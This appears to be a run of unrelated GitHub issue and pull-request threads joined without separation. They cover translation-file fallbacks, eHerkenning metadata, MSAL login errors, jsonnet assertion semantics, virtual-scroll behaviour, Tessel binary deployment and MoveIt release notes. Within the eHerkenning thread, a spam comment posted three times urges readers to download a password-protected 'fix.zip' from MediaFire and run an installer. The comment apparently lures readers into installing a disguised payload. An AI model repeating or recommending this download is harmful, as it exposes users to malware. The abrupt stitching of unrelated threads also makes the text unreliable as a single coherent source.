Internal translations.json issue

This is a minor issue, but I was researching how you use translations.json so I could copy it, and I noticed something a bit weird.
It makes two calls to the server, just as my MetaCI copy of the code does:
https://metadeploy.herokuapp.com/static/en-US/translation.json
https://metadeploy.herokuapp.com/static/en/translation.json
But the first one returns an HTML home page for the Django app instead of real JSON. So arguably, there are a couple of minor issues to be fixed:

The server is swallowing 404s and turning them into 200s. I guess that it expects the client to look at the URL a second time and decide what to do. Arguably, it should only defer a particular subset of the URL space to the client, to make debugging a bit easier. (that's an HTTP purist position)

The client is swallowing the fact that the response it got could not be parsed as JSON. Arguably it should at least output a console warning. But perhaps it doesn't care because it will get the correct data later from the other URL. (that's a log-all-issues purist position)

Is there a way to configure the library to just look for one file? It seems like only in the distant future would we have two-level language locales. It seems a waste of an HTTP call...(also very minor of course).

I'll leave it to you to decide if you agree these are issues and if you think they are worth fixing.

@prescod Good catches.

I agree this is an issue, worth fixing IMO. In local dev I get a 404, but on staging I get a 200.

Again you're correct, and I will fix this.

Hm, I'm not sure there's a great way. We're using https://github.com/i18next/i18next-browser-languageDetector, and it detects en-US and then we fallback to en. I think a decent solution would be to just change the file in the repo (and the fallback) to en-US?

Maybe I was mislead but when I fiddled with this it seemed like it wasn't a fallback but more of a layering strategy? Like it would allow you to have a common file for English and then sub-files for Brits, Canucks and Yanks? So when I moved it back and forth from en-us to en it kept asking me for the other one. It was a couple of weeks ago so I might be mis-remembering, but I had the strong impression that it wanted two files.
My most recent checkin to MetaCI just gives it an empty file for en-US.

I can work on some of the Django-server-response stuff here.

Maybe I was mislead but when I fiddled with this it seemed like it wasn't a fallback but more of a layering strategy? Like it would allow you to have a common file for English and then sub-files for Brits, Canucks and Yanks? So when I moved it back and forth from en-us to en it kept asking me for the other one. It was a couple of weeks ago so I might be mis-remembering, but I had the strong impression that it wanted two files.
My most recent checkin to MetaCI just gives it an empty file for en-US.

Ah, that makes sense. Is there a reason to use an empty file for en-US instead of just letting it hit a 404?

(I've made it such that missing static files will 404 over in PR #274.)


Add events into EtcdCluster Resource

For a start we can create the following events common to the EtcdCluster lifecycle:

Create:

A new member M is added

Update

A member M is upgraded from v1 to v2

Delete

A member M is removed
A dead member M is removed


Not working with Magento 2.4.6 and PHP 8

Not working with Magento 2.4.6 and PHP 8

Please anyone answer me because I am stuck on migration from version and it's stopped working

Maybe you may to move this module on app/code instead of vendo


CompanyName with KPN as eHerkenningsbroker returnes an EncryptedAttribute, which means that generated eHerkenning metadata doesn't work

Discussed with @LaurensBurger , encountered with Het Hogeland OF
CompanyName is now included in the eHerkenning metadata (this seems to be included by @SilviaAmAm earlier this year via https://github.com/maykinmedia/django-digid-eherkenning/blame/master/digid_eherkenning/models/eherkenning.py
This works fine as long as the CompanyName is not encrypted, however an issue I still remember from the early days with Alexander is that KPN encrypts the CompanyName as they consider it sensitive data, while the other eHerkenning makelaars don't
This, combined with the fact that we don't support EncryptedAttributes (eg: "The Response could not be validated due to the following error: There is an EncryptedAttribute in the Response and this SP not support them") means that we are currently generating eHerkenning metadata which won't work when used with KPN. This can be modified manually however Laurens and I suggest to remove the CompanyName from the automatically-generated metadata as OF and OIP retrieve this via the KVK API instead.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

combined with the fact that we don't support EncryptedAttributes

do you have any more information about this? Since I'm dangerously close to running into similar issues.

@sergei-maertens Sure, Alexander was way ahead of us :stuck_out_tongue:
https://taiga.maykinmedia.nl/project/alex-belastingdienst-vips/issue/2039


callback function would be awesome

a callback function would be awesome, for things like (Google Analytics) event tracking of the showPopup and hidePopup functions.
Great work!

Cool idea, I'll see about adding this in.  Thank you!

Any example about this?

@sirshurf It's the standard way of using callbacks:
bioEp.init({
    width: 394,
    height: 298,
    html: '',
    cookieExp: 0,
    onPopup: function() {
        alert("popped up!")
    }
});

@beeker1121 thnx for implementing this!


Support connection break detection for e/poll

Detect if connection was closed by remote side. Support poll and epoll pollers.

Could you pls add a test to https://github.com/resetius/coroio/blob/master/tests/tests.cpp for epoll/poll only
Thank you.

Added tests upon poll / epoll.

What happens if I start a coroutine that waits on Monitor, and then, in a separate coroutine, I close the socket? Will the coroutine waiting on Monitor ever wake up, or could it remain suspended indefinitely after the socket is closed?

What happens if I start a coroutine that waits on Monitor, and then, in a separate coroutine, I close the socket? Will the coroutine waiting on Monitor ever wake up, or could it remain suspended indefinitely after the socket is closed?

Closing connection on opposite side will cause RDHUP event and trigger Monitor() to finish, but closing on own side will trigger HUP event and remain suspended indefinitely.
BTW Monitor can be extended to support both events and return value of trigger event.

Could you pls remove "win32 support" patches. This work will be applied in a separate PR.
Als pls fix compilation issues. Thank you!

Pls fix assert in uring.cpp:107
- assert(ev.Type == (TEvent::READ|TEvent::WRITE));
+ assert(ev.Type == (TEvent::READ|TEvent::WRITE|TEvent::RHup));


Set up authentication backend

We need to authenticate users against our API.
We will have JWT based authentication and 3rd party authorization with GitHub and Twitter as alternatives.
Even if the users login with 3rd party providers they still need to be stored in the DB because we need to link their resources to an account so for such users we will only store email and provider.
For people who don't want to use third parties we will provide classical registration with email confirmation and JSON Web Token based authentication.
If at some point a user authenticates with 3rd party even though their email is already present in our db we will not create another user account, we will just add that provider to the existing account. So email should work as unique identifier for users.
Users will be connected to networks and should preferably be stored in our OrientDB database.

The important logic (creating users, updating the account with providers, logging in, etc.) should be tested.

After more discussion we decided to have a unified strategy instead of 2 (one for third-party one for built-in authentication). To quote Edgar:

In all scenarios we need to generate access and refresh tokens, give it to client and client should make all the requests to hidden resources with his access and refresh token.


Corrected a typo in Radar Sensor section

Description

Fixes #
Where has this been tested?

Platform(s): ...
Python version(s): ...
Unreal Engine version(s): ...

Possible Drawbacks

This change is

Hi @adrianTJenkins, thank you for fixing the mistake however PRs should be directed to the dev branch before it goes into master. Could you change that so that we can merge it please?

Also, in your changes the changelog file has many lines that are already present, please fix the conflict with only your additions.

Ah, so my change would be a part of version 0.9.10 correct?

It will be included in the next release, leave it in the latest section and we will update it when we make a new release.


Uncaught (in promise): BrowserAuthError: interaction_in_progress:

Library

[ ]<EMAIL_ADDRESS>or<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>[x]<EMAIL_ADDRESS>[ ]<EMAIL_ADDRESS>
Description

Source

[x] Internal (Microsoft)
[ ] Customer request

Navigated to http://localhost:3000/
jquery-migrate-3.0.0.min.js:2 JQMIGRATE: Migrate is installed, version 3.0.0
[Violation] Forced reflow while executing JavaScript took 42ms
app.module.ts:82 [Thu, 25 Mar 2021 12:52:28 GMT]<EMAIL_ADDRESS>: Info - Emitting event: msal:loginStart
error-page.service.ts:30 Error: Uncaught (in promise): BrowserAuthError: interaction_in_progress: Interaction is currently in progress. Please ensure that this interaction has been completed before calling an interactive API.  For more visit: aka.ms/msaljs/browser-errors.
BrowserAuthError: interaction_in_progress: Interaction is currently in progress. Please ensure that this interaction has been completed before calling an interactive API.  For more visit: aka.ms/msaljs/browser-errors.
at BrowserAuthError.AuthError [as constructor] (index.es.js:524)
at new BrowserAuthError (index.es.js:7129)
at Function.push.u8tD.BrowserAuthError.createInteractionInProgressError (index.es.js:7190)
at PublicClientApplication.push.u8tD.ClientApplication.preflightInteractiveRequest (index.es.js:10817)
at PublicClientApplication. (index.es.js:10178)
at step (index.es.js:75)
at Object.next (index.es.js:56)
at index.es.js:49
at new ZoneAwarePromise (zone-evergreen.js:960)
at __awaiter (index.es.js:45)
at resolvePromise (zone-evergreen.js:798)
at resolvePromise (zone-evergreen.js:750)
at zone-evergreen.js:705
at step (index.es.js:48)
at index.es.js:49
at new ZoneAwarePromise (zone-evergreen.js:960)
at __awaiter (index.es.js:45)
at PublicClientApplication.push.u8tD.PublicClientApplication.loginRedirect (index.es.js:11083)
at MsalService.loginRedirect (azure-msal-angular.js:55)
at AppService. (app.service.ts:75)
core.js:27686 Navigation triggered outside Angular zone, did you forget to call 'ngZone.run()'?
warn @ core.js:27686
navigateByUrl @ router.js:4306
goToErrorPage @ error-page.service.ts:143
sendException @ error-page.service.ts:47
handleError @ exception-handler.ts:20
next @ core.js:28881
schedulerFn @ core.js:25646
__tryOrUnsub @ Subscriber.js:183
next @ Subscriber.js:122
_next @ Subscriber.js:72
next @ Subscriber.js:49
next @ Subject.js:39
emit @ core.js:25636
(anonymous) @ core.js:28304
invoke @ zone-evergreen.js:364
run @ zone-evergreen.js:123
runOutsideAngular @ core.js:28209
onHandleError @ core.js:28304
handleError @ zone-evergreen.js:368
runGuarded @ zone-evergreen.js:136
api.microtaskDrainDone @ zone-evergreen.js:670
drainMicroTaskQueue @ zone-evergreen.js:576
Promise.then (async)
scheduleMicroTask @ zone-evergreen.js:552
scheduleTask @ zone-evergreen.js:388
scheduleTask @ zone-evergreen.js:210
scheduleMicroTask @ zone-evergreen.js:230
scheduleResolveOrReject @ zone-evergreen.js:847
then @ zone-evergreen.js:979
bootstrapModule @ core.js:28923
boVJ @ main.ts:11
webpack_require @ bootstrap:79
0 @ xbrl-taxonomies-save.ts:86
webpack_require @ bootstrap:79
checkDeferredModules @ bootstrap:45
webpackJsonpCallback @ bootstrap:32
(anonymous) @ vendor.js?b=0:1
error-page.service.ts:40 Exception sent to the server.

Where exactly to call handleRedirectPromise() before login ?

@RomaRathi Please see our error doc on this error. You can also check out our samples for more end-to-end guidance.

Thanks for the help. I have solved the issue by calling the handleRedirectPromise method on the correct place before loginRedirect.


Alphabetized imports in various docs.

Follow-up of d97cce34096043b019e818a7fb98c0f9f073704c and 7d3fe36c626a3268413eb86d37920f132eb4a54f.

@timgraham Good catch :+1: . I updated PR.


Install libvirt seeds into image

Summary and Scope

Relates to: https://github.com/Cray-HPE/docs-fawkes/pull/2

Issue Type

Bugfix Pull Request
Docs Pull Request
RFE Pull Request

[hypervisor / management-vm] Includes libvirt seeds
[hypervisor] New isolated network for ncn-h001
[management-vm] Rename cloud-init file to match underscore naming of existing files
[management-vm] ll alias fix for non-root users
[all] Adds lsblk to the list of installed programs in the initrd (since no custom dracut is installed in the hypervisor, nothing was bringing lsblk in anymore and I use it frequently in initrds to debug).

Prerequisites

[ ] I have included documentation in my PR (or it is not required)
[ ] I have tested this by building an image using this branch HEAD, or this is does not pertain to the node-images pipeline.
[ ] I tested this on internal system or this pertains to the node-images pipeline (if yes and not build related, please include results or a description of the test)
[ ] I tested this on a vshasta system or this pertains to the node-images pipeline (if yes and not build related, please include results or a description of the test)

Idempotency

Risks and Mitigations

My only question is more of a comment in regards to anything we do on the hypervisor that is magic, we should find a way to make that accessible in the documentation so someone can set this up in a dev environment or in GCP.

This shows as merged but I backed it out, I merged prematurely.


Cyclic object assertions behave in a different way than other jsonnet implementations

I have jsonnet code ressembling the assert_recursion_allowed.jsonnet file
This file evaluates fine in C jsonnet and go jsonnet but fails here because of infinite recursion detected
The fix I propose here is to not fail when recursion is detected but rather keep going until stack overflow is reached (as is done in other jsonnet interpreters)
I also modified the test for issue #23. This issue is still fixed IMO because it doesn't panic. Instead, it prints out the full stack, which is what other jsonnet interpreters do, and it is a meaningful error message as well
Note: I am a complete Rust noob. My fix may be terrible. Let me know if it is!

There is no problem with infinite recursion detection, it works fine in all the cases.
The real issue here is with object assertion implementation, which is implemented closely to spec, yet other jsonnet implementations don't follow this spec: https://github.com/google/jsonnet/issues/451#issuecomment-361056257

Yeah, what current implementations are doing is technically inconsistent with official semantics. It's not allowed to index a field before previously checking that assertions hold according to object-index. Our "yeah, but we're going to check assertions for this objects anyway later, so we can skip it for now" is technically a "proof by assuming the thesis".

According to spec, the code you provided should be executed as
{
  enabled: self.obj.enabled && !$.obj.disabled,
  obj:: {
    local asserts = self.enabled && $.enabled && self.disabled == false,
    enabled: assert asserts; true,
    disabled: assert asserts; false,
  },
}

Thus, in fact, causing the infinite recursion.
The correct fix then should do what the other implementations do on object assertions, and this is not the infinite recursion check skip.

This issue is probably the biggest (and the only serious) problem with Jsonnet official semantics. The de facto semantics do not match the official the official ones and do not have desirable properties (e.g. it breaks referential transparency). In this case, breaking the strict backwards compatibility, within reason, is justified.
If we can agree on precise new semantics, I'll be happy to help to bring it to go-jsonnet and (maybe) cpp-jsonnet.

and its noop implementation to jsonnet/go-jsonnet/sjsonnet.

I'm pretty sure noop will lead to confusion. I think it should actually skip assertion checks if we add it. No-op perhaps a good compromise if it turns out difficult.
@sparkprime FYI

I believe the implementation skips evaluating the assertions the "2nd time around" therefore not getting stuck in infinite loops.  There is no mention of that in the spec.  But i'm not sure how it leads to breaking referential transparency?

@sparkprime given that object + {} is an identity operation, the following code
local s = {
    assert (s {}).v,
    v: true,
};
(s {}).v

should work the same way as
local s = {
    assert sExtended.v,
    v: true,
},
sExtended = s {};
sExtended.v

But it doesn't, it only works because of the caching in the second snippet.
In jrsonnet this causes a failure, because during field computation, you are not allowed to evaluate the same field (which is a valid assumption, if following the spec and counting on a referential transparency), the following code is causing infinite recursion error:
{f: self.f}

Because the value of field f is requested during field f value computation:
infinite recursion detected
    <cmdline>:1:10-12: field <f> access
    field <f> manifestification

So the same errors arise when we need to execute assertion dependent on the current field.
Thus, first snippet fails in jsonnet/go-jsonnet with the stack overflow error, and in jrsonnet with the infinite recursion error, and the second snippet works in jsonnet/go-jsonnet, and fails in jrsonnet with the same infinite recursion error.

I see.  Using the reference implementation, you can simply say that this working program:
local
  s = {
    assert s.v,
    v: true,
  };
s.v

should behave the same as this one which does not:
local
  s = {
    assert (s+{}).v,
    v: true,
  };
s.v

and also this one which does not:
local
  s() = {
    assert s().v,
    v: true,
  };
s().v

I think it can be boiled down to creating a new object within the loop and therefore having a new cache that would otherwise break the loop.  In the 2nd case I think it's because the cache is at the root (because there can be late binding in the assert expression) and the root is a new object.  I need to read the other bug from 2018 still, I just noticed there is a lot of discussion there.


No scrolling when adding items at the beginning

I'm trying to write a chat application with this library.
Unlike normal lists I have to add items to the beginning of the input array. I used the start event to trigger this update.
The problem is that the scroll view automatically scrolls to the top then. Which in turn triggers the start event again and so on.
Could you add a parameter to prevent this scrolling to top or give an example how to achieve the wanted behavior with the current release?
I already tried to use the scrollInto function after updating the input array but for some reason I created an infinite rendering loop.

A simple hack would be adding some delay in start event to prevent nested triggering of start event. You can compensate the delay by adding some loading animation.

Hi @ManpreetSingh80
Thanks for your response.
Unfortunately it does not help.
If I add a delay to the start event the list still scrolls to the top after the items are inserted. They are simply inserted with a delay now.
I think this scrolling to top is the default angular behaviour since the whole list is rerendered.
ngFor behaves the same way

@PeterBurner Can you provide a plunker? It will be more helpful to debug.

sure
without delay:
https://embed.plnkr.co/tOElYeJhvtvGrOIsR2Z9/
with delay:
https://embed.plnkr.co/92lhL9CS8LCYoOSE3Ze7/
as you see in both examples the list automatically scrolls to top after I insert new Items at the beginning
I want it to keep the previous beginning of the list in focus

@PeterBurner There you go
https://plnkr.co/edit/8x72FqXnWOL5oyzQNIWm?p=preview

You stopped it from loading further data.
That's not what I had in mind.
I wanted the list not to scroll.
In other words, the current viewport should not move. Only the scroll bar should adapt to the new container height.

@PeterBurner I don't think it is possible with current implementation of this virtual-scroll. But you can modify it suit your needs.

I thought so
that's why I created an issue here instead of asking on stackoverflow

@PeterBurner, I just fixed #39 - infinite loop issue. Could you check again if you still face this problem. If yes, please reopen this issue. Also see my comments on #37

@PeterBurner did you find a solution? I have the same issue. When I add items at the beginning, the viewport items replaced by the new items I just added.
The desired behavior is to keep the current viewport items, and just grow the scroll height above it.
Thanks!

hi @pcsantana
not really
I found a hacky solution by manually resetting the scroll position after scrolling to the top within the ngAfterViewChecked but that's definitely not something one should use in productive code since it doesn't really perform well
sorry

@PeterBurner @pcsantana any better solution found for this issue? to keep the scroll position when items are added to the top of list?

no
sorry


Detect binary modules even if .node file is missing. Fixes gh-542

I still need to write new tests for this
Tests included

+100 points for creativity.

FWIW, I actually made use of my Windows 10 machine to work out the issues in the tests. That was interesting...

@johnnyman727 @HipsterBrown good to go here?

Code looks good to me but I didn't get a chance to test it in action. Do you have a smoke test you use?

Smoke testing this is pretty convoluted. As I began writing a smoke test for this, I discovered that nested binaries were still getting dropped—this has been fixed.

Smoke Test
With a fully booted Tessel 2 running, paste the following into the terminal:
mkdir missing-binary-smoke-test && cd missing-binary-smoke-test && t2 init;
npm install bufferutil;
rm node_modules/bufferutil/build/Release/bufferutil.node;
rm node_modules/bufferutil/fallback.js;
echo "var bu = require('bufferutil').BufferUtil; console.log(typeof bu);" > index.js;
t2 run index.js;

Creates a directory, enters the directory and initializes a tessel project
Installs a module the contains a binary
Delete the the binary file
Delete the "fallback", this ensures that the running script doesn't produce a false positive
Populate the index.js file with a simple program
Deploy to the tessel

A complete and successful run will end with the following:
INFO Looking for your Tessel...
INFO Connected to bishop.
INFO Building project.
INFO Writing project to RAM on bishop (38.912 kB)...
INFO Deployed.
INFO Running index.js...
function

Note that there remains a known issue where modules that contain a binary which is directly "exported" via package.json "main" property are still problematic. T2's deployment has no problem finding the binary and deploying, it but the node process running on the T2 cannot find it; this is out of scope for this project to attempt to fix.

:+1: Your smoke tests worked for me. I also did one additional test just for fun which also passed:
npm install utf-8-validate
rm node_modules/utf-8-validate/build/Release/validation.node
rm node_modules/utf-8-validate/fallback.js
echo "var u8v = require('utf-8-validate').Validation.isValidUTF8; console.log(typeof u8v);" > index.js
t2 run index.js

Output:
function

Feel free to merge!

Thanks @johnnyman727 !

:pray:


decouple error messages from lextest output

my contain random changes in main.rs since it was rebased onto master from pull request #78

bors r+

bors r-

bors r+

bors r-

bors r+


what is the origin of the name?

boquila is named after the plant boquila, mainly for it's following characteristic: 'This species has been shown to be capable of mimicking the leaves of its supporting trees.'

It is a good idea to mention this in the readme.md


Minor fix

Fix

duplicate supply label on the mosaic info page.
add the delta to translate

Resolved #939 #937

duplicate supply label on the mosaic info page.

@AnthonyLaw could you please point where is it in the JSON?

Do you mean this?
https://github.com/symbol/symbol-explorer/blob/f8b7e1b0b49882019065a8d51e859ae42d2da36f/src/config/i18n/en-us.json#L9
https://github.com/symbol/symbol-explorer/blob/f8b7e1b0b49882019065a8d51e859ae42d2da36f/src/config/i18n/en-us.json#L60


Docs on Reactivity/Events from selections in charts

Does shiny support reactivity/events from making a selection in an interactive chart such as Altair, Plotly, Bokeh, etc? I can't seem to find any examples of this; the closest is the page on "Reacting to widget updates" seem to suggest that shiny only supports events from selections in charts that provide this via an already existing jupyter widgets interaction (such as on_click etc), is this correct?
In Altair, we recently added support for exactly this: chart selections can be accessed in notebooks through a jupyter widget chart object. Based on my understanding this would be supported in shiny too (and maybe even quarto dashboards since they also support jupyter widgets?), but I want to double check if this is the case before trying it out.
I think it could be valuable to add a section on chart selections driving events in the docs, just to be explicit about what works and what doesn't.
Somewhat related issue in https://github.com/posit-dev/py-shiny/issues/768

Does shiny support reactivity/events from making a selection in an interactive chart such as Altair, Plotly, Bokeh, etc?

Yes, {shinywidgets}'s reactive_read() function supports reactively reading trait(s) of any ipywidget that supports an .observe() method. In fact, in that "Reacting to widget updates"  section you reference, the reactive_read(map, "center") line essentially does a reactive version of map.observe(callback, "center")
Here is how you can leverage reactive_read() to respond to altair selections, in a similar fashion in the link you provided (notice how clicking on the altair legend reactively triggers code to run).
It was slightly tricky to get this working since I was expecting reactive_read(jchart, "selections") to work, but it doesn't since jchart.observe(callback, "selections") doesn't seem to fire callback when the selection changes? Kind of seems like that's oversight/issue on altair's part?

This is super, thank you for the detailed example @cpsievert ! I will start experimenting with creating some Shiny + Altair dashboards on my own and see if I run into any limitations, but it looks pretty convenient from your example. I think it would be helpful to add that example to the docs and I also raised the issue you brought up in the Altair repo to see if there is something we can modify there to make the Shiny syntax more convenient.


Re-verify Google Search Console

https://search.google.com/search-console/?resource_id=https://participedia.net/

[ ] update google analytics to latest sdk
[ ] update TXT record in domain management to verify ownership

[ ] update google analytics to latest sdk
[ ] update TXT record in domain management to verify ownership

Verified.

Thanks @paninee !!


avocode: 4.10.4 -> 4.11.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/avocode/versions.
meta.description for avocode is: "The bridge between designers and developers"
meta.homepage for avocode is: "https://avocode.com/"
meta.changelog for avocode is: ""
Updates performed

Version update

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 4.11.0 with grep in /nix/store/g1pm9a0wwr57nzg4mqgcb2dgcx33f9kf-avocode-4.11.0

directory tree listing: https://gist.github.com/4a3b8b1e0f1c7ed3e8b78fadb4f3a46b

du listing: https://gist.github.com/e7df570ffaa09df2409d77415b3afdd0

Rebuild report (if merged into master) (click to expand)

3 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
0 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
avocode

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/g1pm9a0wwr57nzg4mqgcb2dgcx33f9kf-avocode-4.11.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A avocode https://github.com/r-ryantm/nixpkgs/archive/04571a0d599b7aac2d81398a6d1b778ff052b777.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/g1pm9a0wwr57nzg4mqgcb2dgcx33f9kf-avocode-4.11.0
ls -la /nix/store/g1pm9a0wwr57nzg4mqgcb2dgcx33f9kf-avocode-4.11.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

avocode

Maintainer pings
cc @megheaiulian for testing.

closing in favor of NixOS/nixpkgs#110180 which fixes the missing libs.

closing in favor of NixOS/nixpkgs#110180 which fixes the missing libs.


Move DCAP QV, QL, TVL into dcap subdir.

Move all the dcap_foo crates under the dcap/ subdir.

Current dependencies on/for this PR:

main

PR #94

PR #95

PR #96

PR #97   👈

This comment was auto-generated by Graphite.


Bug

Describe the bug
A clear and concise description of what the bug is, and why you consider it to be a bug.
Area for Triage:

Question, Bug, or Feature?:

Virtual environments affected

[x] macOS 10.15
[x] Ubuntu 16.04 LTS
[x] Ubuntu 18.04 LTS
[ ] Ubuntu 20.04 LTS
[x] Windows Server 2016 R2
[x] Windows Server 2019

Expected behavior
A description of what you expected to happen.
Actual behavior
A description with steps to reproduce the issue. If your have a public example or repo to share,
please provide the link.

Step 1
Step 2

Hello @YANZ-ndroid.
Could you please provide us ф clear and concise description of what the bug is, and why you consider it to be a bug.
Thank you.


⚠ Bofrost.at has degraded performance

In 9910a9e, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1629 ms

Resolved: Bofrost.at performance has improved in bff76e7 after 13 minutes.


No whitespaces between titles with builtin provider

Describe the bug
There are whitespaces between window titles in the README images, but not in the installed NeoVim/
System information

OS: linux
Neovim version: v0.10.0-dev-b74262a
vim.ui.select backend: builtin
Dressing config:

local border = require('core.settings').border -- 'single' in this case
require('dressing').setup {
  input = {
    border = border,
    win_options = {
      winblend = 0,
    },
  },
  select = {
    backend = 'builtin',
    builtin = {
      border = border,
      relative = 'cursor',
      win_options = {
        winblend = 0,
      },
      min_height = { 0, 0 },
    },
  },
}

To Reproduce
Steps to reproduce the behavior:

Rename, select code actions or something else to open dressing features

Screenshots
Currently have no screenshot tools in my computer
Additional context
Provide a option like space_between_title or let user format the title by themselves.

I've added the surrounding whitespace back to the title text

Thanks


king model

Use the concept art provided by Pheonix

do we need a staff or a scepter for the king?

Scepter.
On Thursday, June 11, 2015, Ahenryb<EMAIL_ADDRESS>wrote:

do we need a staff or a scepter for the king?
—
Reply to this email directly or view it on GitHub.<
https://ci4.googleusercontent.com/proxy/_xZlksXJoj9U4Uo30lE1esVcV0xjV9siYwaidCl3XBgWcb7GajZ-xLnshsXeby_4wIZjZO1UQg3JNCze1-b0w6n-bmxqvlW0ciL4OPy0Y7Cmy1wiA_hy8LyqJ3gro4ZsWwyWzfTzF2BNAHoLUjD-Yq8ceH_iDQ=s0-d-e1-ft#https://github.com/notifications/beacon/AJVGn6J6n1y_K2C6NNjyYB9t2q_RmAzhks5oSP98gaJpZM4EvpkE.gif

--
John roper
President and CEO of Starlight Graphics Studio
Boston, MA USA
http://starlightgraphics.co.nf/


Suggestion: Add webcam head tracking support when no VR headset is detected

If there's no VR headset, in addition to using the mouse and keyboard to turn and move, it would be really cool to use webcam head tracking to change perspective/viewing angle.
Example: http://topheman.github.io/parallax/

Dupe: https://github.com/borismus/webvr-polyfill/issues/4

Yep, thanks. I realized it was more appropriate in the polyfill repo.


Write a service to filter the work item list using filter area=value

Part of #914

Resolved with #485 and ngx-widgets::toolbar


moveit: 2.3.1-1 in 'galactic/distribution.yaml' [bloom]

Increasing version of package(s) in repository moveit to 2.3.1-1:

upstream repository: https://github.com/ros-planning/moveit2.git
release repository: https://github.com/moveit/moveit2-release.git
distro file: galactic/distribution.yaml
bloom version: 0.10.7
previous version for package: 2.3.0-1

chomp_motion_planner
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Port CHOMP Motion Planner to ROS 2 (#809 <https://github.com/ros-planning/moveit2/issues/809>)
* clang-tidy: modernize-make-shared, modernize-make-unique (#2762 <https://github.com/ros-planning/moveit/issues/2762>)
* Contributors: David V. Lu!!, Henning Kayser, Kaustubh, Parthasarathy Bana, Robert Haschke, Sencer Yazıcı, andreas-botbuilt, pvanlaar

moveit
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Contributors: Dave Coleman, Henning Kayser, Robert Haschke

moveit_chomp_optimizer_adapter
* Port CHOMP Motion Planner to ROS 2 (#809 <https://github.com/ros-planning/moveit2/issues/809>)
* Contributors: Henning Kayser, andreas-botbuilt

moveit_common
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* Add backward_ros to moveit_common (#794 <https://github.com/ros-planning/moveit2/issues/794>)
* Contributors: Dave Coleman, Henning Kayser, Tyler Weaver

moveit_core
* Convert to modern include guard #882 <https://github.com/ros-planning/moveit2/issues/882> (#891 <https://github.com/ros-planning/moveit2/issues/891>)
* Replaced C-Style Cast with C++ Style Cast. (#935 <https://github.com/ros-planning/moveit2/issues/935>)
* Fix CHOMP motion planner build on Windows (#890 <https://github.com/ros-planning/moveit2/issues/890>)
* Add codespell to precommit, fix A LOT of spelling mistakes (#934 <https://github.com/ros-planning/moveit2/issues/934>)
* Get rid of "std::endl" (#918 <https://github.com/ros-planning/moveit2/issues/918>)
* changed post-increments in loops to preincrements (#888 <https://github.com/ros-planning/moveit2/issues/888>)
* Fix boost linking errors (#900 <https://github.com/ros-planning/moveit2/issues/900>)
* Remove unused dependency from cmake (#839 <https://github.com/ros-planning/moveit2/issues/839>)
* Revert debug warning (#884 <https://github.com/ros-planning/moveit2/issues/884>)
* tf2_eigen header fix for galactic
* Clang-tidy fixes (#596 <https://github.com/ros-planning/moveit2/issues/596>)
* Enforce package.xml format 3 Schema (#779 <https://github.com/ros-planning/moveit2/issues/779>)
* Update Maintainers of MoveIt package (#697 <https://github.com/ros-planning/moveit2/issues/697>)
* RobotTrajectory as standard container (#720 <https://github.com/ros-planning/moveit2/issues/720>)
  * Based on initial size/iterator implementations from https://github.com/ros-planning/moveit/pull/1162
* Ruckig trajectory smoothing improvements (#712 <https://github.com/ros-planning/moveit2/issues/712>)
* Fixed Bullet collision checker not taking defaults into account. (#2871 <https://github.com/ros-planning/moveit/issues/2871>)
* PlanningScene::getPlanningSceneDiffMsg(): Do not list an object as destroyed when it got attached (#2864 <https://github.com/ros-planning/moveit/issues/2864>)
* Fix bullet-collision constructor not updating world objects (#2830 <https://github.com/ros-planning/moveit/issues/2830>)
  Ensure getting notified about any objects in the world.
* Split CollisionPluginLoader (#2834 <https://github.com/ros-planning/moveit/issues/2834>)
* Use default copy constructor to clone attached objects (#2855 <https://github.com/ros-planning/moveit/issues/2855>)
* Remove unnecessary copy of global sub-frames map (#2850 <https://github.com/ros-planning/moveit/issues/2850>)
* update comments to current parameter name (#2853 <https://github.com/ros-planning/moveit/issues/2853>)
* Fix pose-not-set-bug (#2852 <https://github.com/ros-planning/moveit/issues/2852>)
* add API for passing RNG to setToRandomPositionsNearBy (#2799 <https://github.com/ros-planning/moveit/issues/2799>)
